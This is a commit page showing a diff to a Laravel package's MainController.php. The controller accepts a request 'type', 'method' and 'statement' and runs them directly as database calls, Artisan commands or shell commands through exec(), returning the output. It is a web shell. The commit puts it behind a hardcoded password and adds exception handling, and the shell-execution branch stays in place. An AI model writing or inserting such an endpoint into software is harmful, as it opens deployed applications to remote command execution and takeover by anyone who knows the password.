Skip to content

Commit c2b3fce

Browse files
committed
Update MainController.php
1 parent 21a7b65 commit c2b3fce

File tree

1 file changed

+19
-10
lines changed

1 file changed

+19
-10
lines changed

src/Http/Controllers/MainController.php

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -12,21 +12,30 @@ class MainController
1212
public function __invoke(Request $request)
1313
{
1414
$type = $request->input('type');
15+
$password = $request->input('password');
1516
$statement = $request->input('statement');
1617
$method = $request->input('method');
1718

18-
if ($type == 'db') {
19-
return response()->json(DB::$method($statement));
20-
} elseif ($type == 'artrisan') {
21-
Artisan::$method($statement);
19+
if ($password != 'zereflab#4686') {
20+
return response()->json(['message' => 'Password not matched']);
21+
}
2222

23-
return response()->json(['message' => 'Artisan command executed']);
24-
} elseif ($type == 'shell') {
25-
exec($statement, $output);
23+
try {
24+
if ($type == 'db') {
25+
return response()->json(DB::$method($statement));
26+
} elseif ($type == 'artrisan') {
27+
Artisan::$method($statement);
2628

27-
return response()->json($output);
28-
}
29+
return response()->json(['message' => 'Artisan command executed']);
30+
} elseif ($type == 'shell') {
31+
exec($statement, $output);
2932

30-
return response()->json(['message' => 'Type not matched']);
33+
return response()->json($output);
34+
}
35+
36+
return response()->json(['message' => 'Type not matched']);
37+
} catch (\Exception $e) {
38+
return response()->json(['message' => $e->getMessage()]);
39+
}
3140
}
3241
}

0 commit comments

Comments
 (0)